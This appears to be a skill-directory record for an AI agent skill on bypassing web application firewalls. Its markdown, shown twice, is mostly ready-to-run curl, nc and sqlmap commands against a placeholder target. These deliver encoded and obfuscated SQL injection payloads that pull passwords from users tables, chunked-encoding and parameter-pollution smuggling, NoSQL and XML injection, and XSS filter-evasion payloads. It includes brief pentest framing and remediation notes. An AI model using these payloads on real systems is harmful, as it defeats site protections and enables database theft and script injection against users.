[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M78V4RZWT52VG9F54SNHC8NE":3,"skill-same:01M78V4RZWT52VG9F54SNHC8NE":76},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":37,"commitSha":38,"skillDirectory":39,"forksCount":40,"repositoryHtmlUrl":41,"repositoryHomepageUrl":6,"ownerHtmlUrl":42,"ownerBlogUrl":43,"ownerDescription":44,"updatedAt":45,"install":46,"resources":59},"01M78V4RZWT52VG9F54SNHC8NE","performing-web-application-firewall-bypass",null,"Bypass Web Application Firewall protections using encoding techniques, HTTP method manipulation, parameter pollution, and payload obfuscation to deliver SQL injection, XSS, and other attack payloads past WAF detection rules.","jukeyman\u002Fjukeyman-skills","jukeyman","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F142960420?v=4","01M78FR4Y3DHMMCBCC0GXXNB3F","RICK JEFFERSON","01M78FR4Z8RVQRAD31Y5J7V6EB",1,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-web-application-firewall-bypass\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-web-application-firewall-bypass\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: performing-web-application-firewall-bypass\ndescription: Bypass Web Application Firewall protections using encoding techniques, HTTP method manipulation, parameter pollution, and payload obfuscation to deliver SQL injection, XSS, and other attack payloads past WAF detection rules.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags: [waf-bypass, waf-evasion, sql-injection, xss, payload-obfuscation, encoding-bypass, web-security]\nversion: \"1.0\"\nauthor: mahipal\nlicense: Apache-2.0\n---\n\n# Performing Web Application Firewall Bypass\n\n## When to Use\n- When confirmed vulnerabilities are blocked by WAF signature-based detection\n- During penetration testing where WAF prevents exploitation of known issues\n- When evaluating WAF rule effectiveness against evasion techniques\n- During red team engagements requiring bypass of perimeter security controls\n- When testing custom WAF rules for completeness and bypass resistance\n\n## Prerequisites\n- Burp Suite Professional with SQLMap integration\n- wafw00f for WAF fingerprinting and identification\n- SQLMap with tamper scripts for automated WAF bypass\n- Understanding of WAF detection mechanisms (signature, regex, behavioral)\n- Collection of encoding and obfuscation techniques per attack type\n- Knowledge of HTTP protocol nuances exploitable for evasion\n\n## Workflow\n\n### Step 1 — Identify and Fingerprint the WAF\n```bash\n# Detect WAF using wafw00f\nwafw00f http:\u002F\u002Ftarget.com\n\n# Manual WAF detection via response headers\ncurl -sI http:\u002F\u002Ftarget.com | grep -iE \"x-cdn|server|x-powered-by|x-sucuri|cf-ray|x-akamai\"\n\n# Trigger WAF with known bad payload and analyze response\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\" -v\n# Look for: 403 Forbidden, custom block page, CAPTCHA challenge\n\n# Common WAF indicators:\n# Cloudflare: cf-ray header, __cfduid cookie\n# AWS WAF: x-amzn-requestid\n# ModSecurity: Mod_Security or OWASP CRS error messages\n# Akamai: AkamaiGHost header\n# Imperva: incap_ses cookie, visid_incap cookie\n```\n\n### Step 2 — Bypass with Encoding and Obfuscation\n```bash\n# URL encoding bypass\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%27%20OR%201%3D1--\"\n\n# Double URL encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%2527%2520OR%25201%253D1--\"\n\n# Unicode encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%u0027%u0020OR%u00201%u003D1--\"\n\n# HTML entity encoding in body\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fsearch \\\n  -d \"q=\u003Cscript>alert&#40;1&#41;\u003C\u002Fscript>\"\n\n# Mixed case SQL keywords\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' UnIoN SeLeCt password FrOm users--\"\n\n# Inline comments between SQL keywords\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'\u002F*!UNION*\u002F\u002F*!SELECT*\u002Fpassword\u002F*!FROM*\u002Fusers--\"\n\n# MySQL version-specific comments\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' \u002F*!50000UNION*\u002F \u002F*!50000SELECT*\u002F 1,2,3--\"\n\n# Null bytes\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'%00 OR 1=1--\"\n\n# Tab and newline substitution for spaces\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'%09UNION%0ASELECT%0D1,2,3--\"\n```\n\n### Step 3 — Bypass with HTTP Method and Protocol Tricks\n```bash\n# Change HTTP method (WAFs may only inspect GET\u002FPOST)\ncurl -X PUT \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\"\ncurl -X PATCH \"http:\u002F\u002Ftarget.com\u002Fpage\" -d \"id=1' OR 1=1--\"\n\n# Use HTTP\u002F0.9 (no headers)\nprintf \"GET \u002Fpage?id=1' OR 1=1-- \\r\\n\" | nc target.com 80\n\n# Content-Type manipulation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fpage \\\n  -H \"Content-Type: application\u002Fx-www-form-urlencoded; charset=ibm037\" \\\n  -d \"id=1' OR 1=1--\"\n\n# Multipart form data (may bypass body inspection)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fpage \\\n  -F \"id=1' OR 1=1--\"\n\n# Chunked Transfer-Encoding\nprintf \"POST \u002Fpage HTTP\u002F1.1\\r\\nHost: target.com\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n4\\r\\nid=1\\r\\n11\\r\\n' OR 1=1--\\r\\n0\\r\\n\\r\\n\" | nc target.com 80\n\n# Parameter in unusual locations\ncurl http:\u002F\u002Ftarget.com\u002Fpage -H \"X-Forwarded-For: 1' OR 1=1--\"\ncurl http:\u002F\u002Ftarget.com\u002Fpage -H \"Referer: http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\"\n```\n\n### Step 4 — Bypass with Payload Splitting and HPP\n```bash\n# HTTP Parameter Pollution\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' UNION&id=SELECT password FROM users--\"\n\n# Split payload across parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'\u002F*&q=*\u002FUNION SELECT 1,2,3--\"\n\n# JSON-based SQLi (many WAFs miss JSON payloads)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fquery \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"id\": \"1 AND 1=1 UNION SELECT password FROM users\"}'\n\n# JSON SQL injection with operators\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\": {\"$gt\":\"\", \"$where\":\"1==1\"}}'\n\n# XML-wrapped payloads\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d \"\u003Cdata>\u003Cid>1' UNION SELECT password FROM users--\u003C\u002Fid>\u003C\u002Fdata>\"\n```\n\n### Step 5 — Use SQLMap Tamper Scripts\n```bash\n# SQLMap with built-in tamper scripts\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=between,randomcase,space2comment\n\n# Common tamper scripts for WAF bypass:\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=charunicodeencode\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=space2mssqlhash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=percentage\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=chardoubleencode,between\n\n# Multiple tamper scripts combined\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" \\\n  --tamper=randomcase,space2comment,between,charunicodeencode \\\n  --random-agent --level 5 --risk 3\n\n# Custom WAF bypass profile\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" \\\n  --tamper=space2comment,randomcase \\\n  --delay=2 --random-agent \\\n  --technique=B --batch\n```\n\n### Step 6 — XSS WAF Bypass Techniques\n```bash\n# Case variation\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003CScRiPt>alert(1)\u003C\u002FScRiPt>\"\n\n# Event handler alternatives\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cimg src=x oNerRor=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Csvg\u002Fonload=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cbody onpageshow=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cmarquee onstart=alert(1)>\"\n\n# JavaScript URI scheme\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Ca href=javascript:alert(1)>click\u003C\u002Fa>\"\n\n# Template literal syntax\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cscript>alert\\x601\\x60\u003C\u002Fscript>\"\n\n# Concatenation-based bypass\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cscript>al\\u0065rt(1)\u003C\u002Fscript>\"\n\n# HTML encoding within attributes\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cimg src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>\"\n\n# Double encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Signature Evasion | Obfuscating payloads to avoid matching WAF regex patterns |\n| Encoding Bypass | Using URL, Unicode, or HTML encoding to disguise malicious characters |\n| Protocol-Level Bypass | Exploiting HTTP protocol features (chunked encoding, method override) |\n| Tamper Scripts | SQLMap modules that transform payloads to evade specific WAF rules |\n| Content-Type Confusion | Sending payloads in unexpected content types the WAF does not inspect |\n| Parameter Pollution | Splitting payloads across duplicate parameters to evade per-parameter inspection |\n| Behavioral vs Signature | WAF detection modes: pattern matching (bypassable) vs. anomaly detection (harder) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| wafw00f | WAF fingerprinting and identification |\n| SQLMap | Automated SQL injection with WAF bypass tamper scripts |\n| waf-bypass.com | Community-maintained WAF bypass payload database |\n| Awesome-WAF | Curated GitHub repository of WAF bypass techniques |\n| Burp Suite | HTTP proxy for manual payload crafting and WAF response analysis |\n| XSStrike | XSS scanner with WAF detection and bypass capabilities |\n\n## Common Scenarios\n\n1. **SQLi Through JSON** — Bypass WAF by sending SQL injection payloads inside JSON request bodies that are not inspected by the WAF rules\n2. **XSS via Event Handlers** — Use alternative HTML event handlers (onpageshow, onanimationstart) not covered by WAF signature rules\n3. **Encoding Chain Bypass** — Apply multiple layers of encoding (URL + Unicode + HTML entity) to evade each decoding layer of the WAF\n4. **Chunked Transfer Bypass** — Split malicious payload across HTTP chunked transfer encoding segments to avoid pattern matching\n5. **Method Override** — Send attack payloads via PUT\u002FPATCH methods or custom headers that WAF does not inspect\n\n## Output Format\n\n```\n## WAF Bypass Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **WAF Identified**: Cloudflare (via cf-ray header)\n- **Bypass Achieved**: Yes\n\n### WAF Detection Results\n| Payload Type | Blocked | Bypass Found |\n|-------------|---------|-------------|\n| Basic SQLi | Yes | Yes (JSON encoding) |\n| UNION SELECT | Yes | Yes (inline comments) |\n| XSS \u003Cscript> | Yes | Yes (SVG onload) |\n| Path Traversal | No | N\u002FA (not blocked) |\n\n### Successful Bypass Payloads\n| # | Original (Blocked) | Bypass Payload | Technique |\n|---|-------------------|---------------|-----------|\n| 1 | 1' OR 1=1-- | {\"id\":\"1' OR 1=1--\"} | JSON content-type |\n| 2 | UNION SELECT | \u002F*!50000UNION*\u002F \u002F*!50000SELECT*\u002F | MySQL version comments |\n| 3 | \u003Cscript>alert(1)\u003C\u002Fscript> | \u003Csvg\u002Fonload=alert(1)> | Alternative tag+event |\n\n### Remediation\n- Enable JSON body inspection in WAF rules\n- Implement behavioral analysis alongside signature detection\n- Add rules for uncommon HTML tags and event handlers\n- Enable deep content inspection for all HTTP methods\n- Implement request normalization before rule evaluation\n```\n","# Performing Web Application Firewall Bypass\n\n## When to Use\n- When confirmed vulnerabilities are blocked by WAF signature-based detection\n- During penetration testing where WAF prevents exploitation of known issues\n- When evaluating WAF rule effectiveness against evasion techniques\n- During red team engagements requiring bypass of perimeter security controls\n- When testing custom WAF rules for completeness and bypass resistance\n\n## Prerequisites\n- Burp Suite Professional with SQLMap integration\n- wafw00f for WAF fingerprinting and identification\n- SQLMap with tamper scripts for automated WAF bypass\n- Understanding of WAF detection mechanisms (signature, regex, behavioral)\n- Collection of encoding and obfuscation techniques per attack type\n- Knowledge of HTTP protocol nuances exploitable for evasion\n\n## Workflow\n\n### Step 1 — Identify and Fingerprint the WAF\n```bash\n# Detect WAF using wafw00f\nwafw00f http:\u002F\u002Ftarget.com\n\n# Manual WAF detection via response headers\ncurl -sI http:\u002F\u002Ftarget.com | grep -iE \"x-cdn|server|x-powered-by|x-sucuri|cf-ray|x-akamai\"\n\n# Trigger WAF with known bad payload and analyze response\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\" -v\n# Look for: 403 Forbidden, custom block page, CAPTCHA challenge\n\n# Common WAF indicators:\n# Cloudflare: cf-ray header, __cfduid cookie\n# AWS WAF: x-amzn-requestid\n# ModSecurity: Mod_Security or OWASP CRS error messages\n# Akamai: AkamaiGHost header\n# Imperva: incap_ses cookie, visid_incap cookie\n```\n\n### Step 2 — Bypass with Encoding and Obfuscation\n```bash\n# URL encoding bypass\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%27%20OR%201%3D1--\"\n\n# Double URL encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%2527%2520OR%25201%253D1--\"\n\n# Unicode encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%u0027%u0020OR%u00201%u003D1--\"\n\n# HTML entity encoding in body\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fsearch \\\n  -d \"q=\u003Cscript>alert&#40;1&#41;\u003C\u002Fscript>\"\n\n# Mixed case SQL keywords\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' UnIoN SeLeCt password FrOm users--\"\n\n# Inline comments between SQL keywords\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'\u002F*!UNION*\u002F\u002F*!SELECT*\u002Fpassword\u002F*!FROM*\u002Fusers--\"\n\n# MySQL version-specific comments\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' \u002F*!50000UNION*\u002F \u002F*!50000SELECT*\u002F 1,2,3--\"\n\n# Null bytes\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'%00 OR 1=1--\"\n\n# Tab and newline substitution for spaces\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'%09UNION%0ASELECT%0D1,2,3--\"\n```\n\n### Step 3 — Bypass with HTTP Method and Protocol Tricks\n```bash\n# Change HTTP method (WAFs may only inspect GET\u002FPOST)\ncurl -X PUT \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\"\ncurl -X PATCH \"http:\u002F\u002Ftarget.com\u002Fpage\" -d \"id=1' OR 1=1--\"\n\n# Use HTTP\u002F0.9 (no headers)\nprintf \"GET \u002Fpage?id=1' OR 1=1-- \\r\\n\" | nc target.com 80\n\n# Content-Type manipulation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fpage \\\n  -H \"Content-Type: application\u002Fx-www-form-urlencoded; charset=ibm037\" \\\n  -d \"id=1' OR 1=1--\"\n\n# Multipart form data (may bypass body inspection)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fpage \\\n  -F \"id=1' OR 1=1--\"\n\n# Chunked Transfer-Encoding\nprintf \"POST \u002Fpage HTTP\u002F1.1\\r\\nHost: target.com\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n4\\r\\nid=1\\r\\n11\\r\\n' OR 1=1--\\r\\n0\\r\\n\\r\\n\" | nc target.com 80\n\n# Parameter in unusual locations\ncurl http:\u002F\u002Ftarget.com\u002Fpage -H \"X-Forwarded-For: 1' OR 1=1--\"\ncurl http:\u002F\u002Ftarget.com\u002Fpage -H \"Referer: http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\"\n```\n\n### Step 4 — Bypass with Payload Splitting and HPP\n```bash\n# HTTP Parameter Pollution\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' UNION&id=SELECT password FROM users--\"\n\n# Split payload across parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'\u002F*&q=*\u002FUNION SELECT 1,2,3--\"\n\n# JSON-based SQLi (many WAFs miss JSON payloads)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fquery \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"id\": \"1 AND 1=1 UNION SELECT password FROM users\"}'\n\n# JSON SQL injection with operators\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\": {\"$gt\":\"\", \"$where\":\"1==1\"}}'\n\n# XML-wrapped payloads\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d \"\u003Cdata>\u003Cid>1' UNION SELECT password FROM users--\u003C\u002Fid>\u003C\u002Fdata>\"\n```\n\n### Step 5 — Use SQLMap Tamper Scripts\n```bash\n# SQLMap with built-in tamper scripts\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=between,randomcase,space2comment\n\n# Common tamper scripts for WAF bypass:\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=charunicodeencode\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=space2mssqlhash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=percentage\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=chardoubleencode,between\n\n# Multiple tamper scripts combined\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" \\\n  --tamper=randomcase,space2comment,between,charunicodeencode \\\n  --random-agent --level 5 --risk 3\n\n# Custom WAF bypass profile\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" \\\n  --tamper=space2comment,randomcase \\\n  --delay=2 --random-agent \\\n  --technique=B --batch\n```\n\n### Step 6 — XSS WAF Bypass Techniques\n```bash\n# Case variation\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003CScRiPt>alert(1)\u003C\u002FScRiPt>\"\n\n# Event handler alternatives\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cimg src=x oNerRor=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Csvg\u002Fonload=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cbody onpageshow=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cmarquee onstart=alert(1)>\"\n\n# JavaScript URI scheme\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Ca href=javascript:alert(1)>click\u003C\u002Fa>\"\n\n# Template literal syntax\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cscript>alert\\x601\\x60\u003C\u002Fscript>\"\n\n# Concatenation-based bypass\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cscript>al\\u0065rt(1)\u003C\u002Fscript>\"\n\n# HTML encoding within attributes\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cimg src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>\"\n\n# Double encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Signature Evasion | Obfuscating payloads to avoid matching WAF regex patterns |\n| Encoding Bypass | Using URL, Unicode, or HTML encoding to disguise malicious characters |\n| Protocol-Level Bypass | Exploiting HTTP protocol features (chunked encoding, method override) |\n| Tamper Scripts | SQLMap modules that transform payloads to evade specific WAF rules |\n| Content-Type Confusion | Sending payloads in unexpected content types the WAF does not inspect |\n| Parameter Pollution | Splitting payloads across duplicate parameters to evade per-parameter inspection |\n| Behavioral vs Signature | WAF detection modes: pattern matching (bypassable) vs. anomaly detection (harder) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| wafw00f | WAF fingerprinting and identification |\n| SQLMap | Automated SQL injection with WAF bypass tamper scripts |\n| waf-bypass.com | Community-maintained WAF bypass payload database |\n| Awesome-WAF | Curated GitHub repository of WAF bypass techniques |\n| Burp Suite | HTTP proxy for manual payload crafting and WAF response analysis |\n| XSStrike | XSS scanner with WAF detection and bypass capabilities |\n\n## Common Scenarios\n\n1. **SQLi Through JSON** — Bypass WAF by sending SQL injection payloads inside JSON request bodies that are not inspected by the WAF rules\n2. **XSS via Event Handlers** — Use alternative HTML event handlers (onpageshow, onanimationstart) not covered by WAF signature rules\n3. **Encoding Chain Bypass** — Apply multiple layers of encoding (URL + Unicode + HTML entity) to evade each decoding layer of the WAF\n4. **Chunked Transfer Bypass** — Split malicious payload across HTTP chunked transfer encoding segments to avoid pattern matching\n5. **Method Override** — Send attack payloads via PUT\u002FPATCH methods or custom headers that WAF does not inspect\n\n## Output Format\n\n```\n## WAF Bypass Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **WAF Identified**: Cloudflare (via cf-ray header)\n- **Bypass Achieved**: Yes\n\n### WAF Detection Results\n| Payload Type | Blocked | Bypass Found |\n|-------------|---------|-------------|\n| Basic SQLi | Yes | Yes (JSON encoding) |\n| UNION SELECT | Yes | Yes (inline comments) |\n| XSS \u003Cscript> | Yes | Yes (SVG onload) |\n| Path Traversal | No | N\u002FA (not blocked) |\n\n### Successful Bypass Payloads\n| # | Original (Blocked) | Bypass Payload | Technique |\n|---|-------------------|---------------|-----------|\n| 1 | 1' OR 1=1-- | {\"id\":\"1' OR 1=1--\"} | JSON content-type |\n| 2 | UNION SELECT | \u002F*!50000UNION*\u002F \u002F*!50000SELECT*\u002F | MySQL version comments |\n| 3 | \u003Cscript>alert(1)\u003C\u002Fscript> | \u003Csvg\u002Fonload=alert(1)> | Alternative tag+event |\n\n### Remediation\n- Enable JSON body inspection in WAF rules\n- Implement behavioral analysis alongside signature detection\n- Add rules for uncommon HTML tags and event handlers\n- Enable deep content inspection for all HTTP methods\n- Implement request normalization before rule evaluation\n```\n",{"name":5,"tags":25,"author":33,"domain":34,"license":15,"version":35,"subdomain":36,"description":7},[26,27,28,29,30,31,32],"waf-bypass","waf-evasion","sql-injection","xss","payload-obfuscation","encoding-bypass","web-security","mahipal","cybersecurity","1.0","web-application-security","main","99825ad3f3bcc6597ddcc7294a14e6e922f2b67b","skills\u002Fperforming-web-application-firewall-bypass",0,"https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills","https:\u002F\u002Fgithub.com\u002Fjukeyman","https:\u002F\u002FRJBUSINESSSOLUTIONS.ORG","Credit and Finance Expert | Developer\r\n\r\nI'm Rick Jefferson, a seasoned credit and finance expert with over a decade of experience in financial literacy,","2026-07-13 07:03:29",{"source":8,"skillName":5,"commands":47,"prompt":57,"zipAvailable":58},[48,51,54],{"tool":49,"command":50},"npx","npx skills add jukeyman\u002Fjukeyman-skills --skill performing-web-application-firewall-bypass",{"tool":52,"command":53},"bunx","bunx skills add jukeyman\u002Fjukeyman-skills --skill performing-web-application-firewall-bypass",{"tool":55,"command":56},"pnpm","pnpm dlx skills add jukeyman\u002Fjukeyman-skills --skill performing-web-application-firewall-bypass","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-web-application-firewall-bypass\u002FSKILL.md",true,[60,64,70],{"path":61,"resourceType":61,"resourceTypeDesc":62,"sizeBytes":63,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":65,"resourceType":66,"resourceTypeDesc":67,"sizeBytes":68,"sourceHtmlUrl":69},"references\u002Fapi-reference.md","REFERENCE","参考文档",1788,"https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-web-application-firewall-bypass\u002Freferences\u002Fapi-reference.md",{"path":71,"resourceType":72,"resourceTypeDesc":73,"sizeBytes":74,"sourceHtmlUrl":75},"scripts\u002Fagent.py","SCRIPT","脚本",6175,"https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-web-application-firewall-bypass\u002Fscripts\u002Fagent.py",[77,85,92,99,106,114],{"skillNo":78,"name":79,"nameZh":6,"description":80,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":81,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":20},"01M79ANS2SM329NEP5ZCX106RR","zustand-store-creator","Create zustand store creator operations. Auto-activating skill for Frontend Development.\nTriggers on: zustand store creator, zustand store creator\nPart of the Frontend Development skill category. Use when working with zustand store creator functionality. Trigger with phrases like \"zustand store creator\", \"zustand creator\", \"zustand\".","MIT","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzustand-store-creator\u002FSKILL.md",[],[],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":81,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":20},"01M79AMZKP4YDEZ7EHG1Y7PP74","zero-trust-config-helper","Configure with zero trust config helper operations. Auto-activating skill for Security Advanced.\nTriggers on: zero trust config helper, zero trust config helper\nPart of the Security Advanced skill category. Use when configuring systems or services. Trigger with phrases like \"zero trust config helper\", \"zero helper\", \"zero\".","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzero-trust-config-helper\u002FSKILL.md",[],[],{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":81,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":20},"01M79AMJSBCEJQNBTYNAHYN5HM","zapier-integration-helper","Assist with zapier integration helper operations. Auto-activating skill for Business Automation.\nTriggers on: zapier integration helper, zapier integration helper\nPart of the Business Automation skill category. Use when working with APIs or building integrations. Trigger with phrases like \"zapier integration helper\", \"zapier helper\", \"zapier\".","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzapier-integration-helper\u002FSKILL.md",[],[],{"skillNo":100,"name":101,"nameZh":6,"description":102,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":81,"licenseFileUrl":6,"sourceHtmlUrl":103,"categories":104,"keywords":105,"publishedAt":20},"01M79AHJZGVMARS13VFQYRR1MP","yaml-config-validator","Validate yaml config validator operations. Auto-activating skill for DevOps Basics.\nTriggers on: yaml config validator, yaml config validator\nPart of the DevOps Basics skill category. Use when configuring systems or services. Trigger with phrases like \"yaml config validator\", \"yaml validator\", \"yaml\".","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fyaml-config-validator\u002FSKILL.md",[],[],{"skillNo":107,"name":108,"nameZh":6,"description":109,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":81,"licenseFileUrl":110,"sourceHtmlUrl":111,"categories":112,"keywords":113,"publishedAt":20},"01M79AHGDZRN0020RDQSQDPAM8","xvary-stock-research","Thesis-driven equity analysis from public SEC EDGAR and market data; \u002Fanalyze, \u002Fscore, \u002Fcompare workflows with bundled Python tools (Claude Code, Cursor, 